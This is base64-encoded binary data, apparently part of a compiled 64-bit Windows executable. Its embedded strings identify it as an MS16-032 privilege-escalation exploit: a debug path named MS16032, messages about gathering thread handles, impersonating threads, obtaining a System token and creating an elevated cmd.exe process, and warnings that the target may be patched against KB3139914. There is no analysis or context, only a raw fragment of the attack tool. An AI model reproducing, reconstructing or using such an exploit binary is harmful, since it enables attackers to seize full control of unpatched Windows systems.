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dG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAAAAAAAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAAAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAAAAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAAAAAAIGRlbGV0ZVtdAAAAAAAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAAAAAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAAAAAAIFR5cGUgRGVzY3JpcHRvcicAAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRv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